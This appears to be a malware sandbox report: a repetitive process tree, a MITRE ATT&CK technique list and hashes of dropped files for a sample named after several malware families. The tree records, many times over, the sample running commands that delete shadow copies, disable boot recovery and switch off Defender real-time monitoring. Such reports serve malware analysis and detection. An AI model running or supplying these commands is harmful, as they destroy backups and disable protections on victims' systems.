        PID:6384
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        87⤵
        
        PID:1640
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        88⤵
        Interacts with shadow copies
        
        PID:2936
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        87⤵
        
        PID:6736
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        88⤵
        
        PID:7028
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        87⤵
        
        PID:916
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        88⤵
        
        PID:6752
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        89⤵
        
        PID:6148
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        88⤵
        
        PID:6708
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        89⤵
        Interacts with shadow copies
        
        PID:6364
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        88⤵
        
        PID:5352
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        89⤵
        
        PID:3460
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        88⤵
        
        PID:3900
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        89⤵
        
        PID:5516
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        90⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6056
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        89⤵
        
        PID:6480
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        90⤵
        
        PID:1248
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        89⤵
        
        PID:5464
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        90⤵
        
        PID:2308
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        89⤵
        
        PID:1336
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        90⤵
        Executes a command shell one-liner
        
        PID:3148
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        91⤵
        Disables one or more Microsoft Defender components
        
        PID:5868
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        90⤵
        Executes a command shell one-liner
        
        PID:2788
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        91⤵
        Interacts with shadow copies
        
        PID:4940
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        90⤵
        
        PID:2240
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        91⤵
        
        PID:5152
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        90⤵
        
        PID:704
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        91⤵
        
        PID:6336
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        92⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:1316
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        91⤵
        
        PID:1524
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        92⤵
        
        PID:5916
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        91⤵
        
        PID:6212
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        92⤵
        
        PID:3684
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        91⤵
        
        PID:2828
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        92⤵
        Executes a command shell one-liner
        
        PID:6320
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        93⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:1044
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        92⤵
        
        PID:6292
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        93⤵
        Interacts with shadow copies
        
        PID:5868
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        92⤵
        Executes a command shell one-liner
        
        PID:3904
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        93⤵
        
        PID:6464
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        92⤵
        
        PID:3196
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        93⤵
        Executes a command shell one-liner
        
        PID:5152
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        94⤵
        
        PID:5788
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        93⤵
        
        PID:2420
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        94⤵
        
        PID:1316
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        93⤵
        
        PID:6488
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        94⤵
        
        PID:4344
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        93⤵
        
        PID:2784
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        94⤵
        
        PID:1376
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        95⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:4272
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        94⤵
        
        PID:6572
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        95⤵
        
        PID:4940
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        94⤵
        Executes a command shell one-liner
        
        PID:4836
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        95⤵
        
        PID:3336
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        94⤵
        
        PID:6744
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        95⤵
        
        PID:5168
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        96⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:5708
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        95⤵
        
        PID:400
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        96⤵
        Interacts with shadow copies
        
        PID:4344
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        95⤵
        Executes a command shell one-liner
        
        PID:5808
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        96⤵
        
        PID:1572
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        95⤵
        
        PID:2564
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        96⤵
        
        PID:3796
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        97⤵
        Disables one or more Microsoft Defender components
        
        PID:3544
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        96⤵
        
        PID:6912
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        97⤵
        Interacts with shadow copies
        
        PID:1044
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        96⤵
        Executes a command shell one-liner
        
        PID:1844
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        97⤵
        
        PID:1260
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        96⤵
        
        PID:4732
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        97⤵
        
        PID:4292
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        98⤵
        Disables one or more Microsoft Defender components
        
        PID:6864
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        97⤵
        Executes a command shell one-liner
        
        PID:2536
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        98⤵
        Interacts with shadow copies
        
        PID:3428
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        97⤵
        
        PID:6164
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        98⤵
        
        PID:2832
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        97⤵
        
        PID:3036
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        98⤵
        
        PID:5876
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        99⤵
        
        PID:1700
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        98⤵
        
        PID:5248
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        99⤵
        Interacts with shadow copies
        
        PID:6364
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        98⤵
        
        PID:5976
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        99⤵
        
        PID:6932
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        98⤵
        
        PID:304
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        99⤵
        
        PID:5000
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        100⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4272
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        99⤵
        
        PID:3268
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        100⤵
        Interacts with shadow copies
        
        PID:5704
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        99⤵
        Executes a command shell one-liner
        
        PID:2596
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        100⤵
        
        PID:1044
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        99⤵
        
        PID:1676
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        100⤵
        
        PID:5572
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        101⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:3064
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        100⤵
        
        PID:5504
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        101⤵
        Interacts with shadow copies
        
        PID:2824
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        100⤵
        
        PID:3336
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        101⤵
        
        PID:5904
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        100⤵
        
        PID:1308
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        101⤵
        
        PID:4272
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        102⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5132
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        101⤵
        
        PID:7004
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        102⤵
        Interacts with shadow copies
        
        PID:7048
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        101⤵
        
        PID:5260
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        102⤵
        
        PID:3064
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        101⤵
        
        PID:5680
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        102⤵
        
        PID:5428
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        103⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6976

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4116

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Windows Management Instrumentation

T1047

Persistence

Privilege Escalation

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 070e2dc002fee5d6c6ae0611713bb24a9f01d741d964e7f1ece4f61789724a94
MD5 95e9928464a1f3425068f7e64a74060a
SHA1 9bdbd59bea34afd0aebf4d0c3d3cfe0317aa4d57
SHA512 a150525324ebe4a0dc28577f089c1f45ef0902355ecd9d5f10c91d45fe57d44d09c6d133a92c3f32dca0c73b97b259d5ad7ff4316edafa2cb00e38d64e043f06
TLSH
T1E9216833F3DD8654C899413A10CEAC1035B7C7DB40DECEDB6B84D559A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 31f54a84498a62f4280cdad450e7e459b75378c7e67bfcf3279f493410eef07a
MD5 dcd0d48e287a2fa1fc2c2116c1997c88
SHA1 aa1c4035e6666763d1ccd82b32b9541f4b42b1be
SHA512 b4af5e7ff27bffe7527094d4187b934df549bcd1f31df3853c1ff317f47e60165682f740ee3279f573d5ea8adfd586aee37095800fcb77aa348011284ce99859
TLSH
T18C216833B3DD8624C89A413A10CDAC1036B6C7DB41DECFAB6B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c25f0b530b7639cacad66b6930c170af4576bfb7a0007eb4806d726b37deeab6
MD5 22e60137828820e88e9daa459a1fc05c
SHA1 3dd2c7cf85841babea266c9af9ec08b8f41475dd
SHA512 2dace5ac28dfe798e2d2169c7f6a07c16d3748203174f63965c0af252df2c3d5990998e2ff8ab2b8b54d240bec0daf2139a903b8890d966dcffffc477a5e188c
TLSH
T155219833B3CC8624C89A013A10CDAC1036B6C7CB40DECFAB7B80E655A43F698CE60160
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI59482\VCRUNTIME140.dll
Size 117KB
SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
MD5 32da96115c9d783a0769312c0482a62d
SHA1 2ea840a5faa87a2fe8d7e5cb4367f2418077d66b
SHA512 616c78b4a24761d4640ae2377b873f7779322ef7bc26f8de7da0d880b227c577ed6f5ed794fc733468477b2fcdb7916def250e5dc63e79257616f99768419087
SSDEEP 1536:Z9TXF5YXWbj8qr51XlN+dULTCe1IGhKWyxLiyaXYaNxoecbdhUoaLjTz164zEd:ZEnsvReGsWyxLizXFkecbd1aPTzW
TLSH
T10DC38C8572A002FBD16AC274C1A36A17FB75B94487B0A7CF03B58A650F53BE09E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI59482\_bz2.pyd
Size 85KB
SHA256 d28c3dd1c22bfb8a6e8a6a9c2359842b797d08e878ecb7805f60e86a45589d11
MD5 207d4a4b7a113ef494514918f2dccdf3
SHA1 74b59453b5bb6194e0d2587d26d499d0f7e1aed5
SHA512 f7e5a2608ee19fd400d4bfe27e8603289a219af6a4a4a9e65ebb76c715d926fb9b08293fc2a3fed2195784804764265fa0b356547f23c501ec8ff9487c948b27
SSDEEP 1536:xtMtz7eksNCb6YVVEFxO2RqOyuzotWw8pRbIiQIG3VTy1Ni9QfIY6utw:PMtzSqurjOqqfgotWrplIiQIG3VtKtw
TLSH
T14A837E86B3B462B6F59B81B496910353F730FF960710A3BFB25482863F13B91AF58365
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI59482\_ctypes.pyd
Size 139KB
SHA256 25d9b0be550d428fecc697ca20450343a7c3ce77c9f5283e9aecfd188d609250
MD5 eeabc0c7756ed7a29e33e467c398737f
SHA1 ec5c401946a9df4e4ab764ddb4639e4e33e1ce40
SHA512 5e1e93545e1be34880fc680ca12004792076e88baa6cac4512fdbbdb90091a9ae441a16b8d24f64c6b03bf14903babddecfa783ce5c016759ed790c0eabc189b
SSDEEP 3072:G/n1qQ8/27N56EBZrGwrb1OzIJswKRW2r7rw8IGGPzoGc:wn1JDT6wrszIJfUDwtc
TLSH
T1A3D38F4B336841E6DA678138C6739E47FBB1F4511A10878F4264C99B2F637A2AE3F315
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI59482\_lzma.pyd
Size 157KB
SHA256 5f7003f9f0256e36351ca2810b3485db28579b08e4d1d65f6f211fcd1136f395
MD5 cada2b240b280f172aeb32a1666b21e6
SHA1 c15dc39329444433c255309eb89bae188aae1b22
SHA512 8b12298efd28549d46e2c48cff94b07039cf513bbac25063ebad8bae57b96e07eefd7df82229441af142c1b96dc837dec468263c0873d14da280e3ed6e42eb9e
SSDEEP 3072:BJ66g4T5QW7JfyjEqkSkA51b4pznfJ9mNopUpdbQIGI1HFk:BUR4Tp4QPZ8N4RxYOgbPa
TLSH
T110F34C86B794F0E6F7328C38D2624F57E6F578590320929A01CC976D2B1FB759A2E313
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI59482\_socket.pyd
Size 85KB
SHA256 25ac83cac32ed0d67b2cc9672ce64cb53f0a29a75b14c276e901023ff43da5f9
MD5 7a16a21ad11d3e9829ca3b379a2bb010
SHA1 90707b5c1662a1e4553f1cc10ba96c7452def7c2
SHA512 5e0268af7dad1646903ddb5e61fb38896a7ae964cadb38b5c28bc1524a69a87b7c09f501f3f570ec6bf78c8fa873b8fbe062bbe06cf839e32a2735f1efd0cae1
SSDEEP 1536:hcVuncT0XH3XAJtZypxm7XP+66wSzC/jAjI/Lb6NsQ3cs8PgMr8IGGwby1Ni9DFo:SEny2+jypxm7XPz6wSzC/jAjQOsQssV2
TLSH
T19B835B01A66040FAEB77C176C2639E63FBB4B5C01294A75F1466C55A1F333C2BE3AB85
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cp1252.enc

Path C:\Users\Admin\AppData\Local\Temp\_MEI59482\_tcl_data\encoding\cp1252.enc
Size 1KB
SHA256 741859cf238c3a63bbb20ec6ed51e46451372bb221cfff438297d261d0561c2e
MD5 e9117326c06fee02c478027cb625c7d8
SHA1 2ed4092d573289925a5b71625cf43cc82b901daf
SHA512 d0a39bc41adc32f2f20b1a0ebad33bf48dfa6ed5cc1d8f92700cdd431db6c794c09d9f08bb5709b394acf54116c3a1e060e2abcc6b503e1501f8364d3eebcd52
TLSH
T13621362446A58CD8FA4F31D520ECFB70453B75F3D1DA629027B88308E789E8D0C897D9
MD5 SHA1 SHA512 TLSH

Submit Download

_tkinter.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI59482\_tkinter.pyd
Size 67KB
SHA256 a49520e94f19d025a6be6ac7bbb73a7b32442838c62b68c162d44f81d92838ec
MD5 aff2c94b67aad4ff89fa0f4d33f52099
SHA1 70905b724afe90e46c918a300b3a32e75c601532
SHA512 e1864cac5cc425b34246f4febe2cdf4eff33d40332cb90ed67fe8e92006668d3c77949c058ced52fe2dcc83d1efb276e212c104f80f2ff72d9fa1d0a187fd7eb
SSDEEP 1536:YoTKqNDDa/Tf3HrlU9oo6ptboIGDSeiy1Ni9SfIbHtnY:YoOjflPo6ptboIGDSeuTq
TLSH
T16C637D9BA764008ADE67D538C5739F43E6B9FA521910934F01A4D34A1F333E3A7BA714
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_uuid.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI59482\_uuid.pyd
Size 27KB
SHA256 a09308efd309732e3745e70b4456235579c450cac32bed616dfb3913b56f6637
MD5 cc5b77a3dd4cc06a0b9c760a0b0c5c15
SHA1 d88f44420c5819b631b3e332dc4903eb620cf216
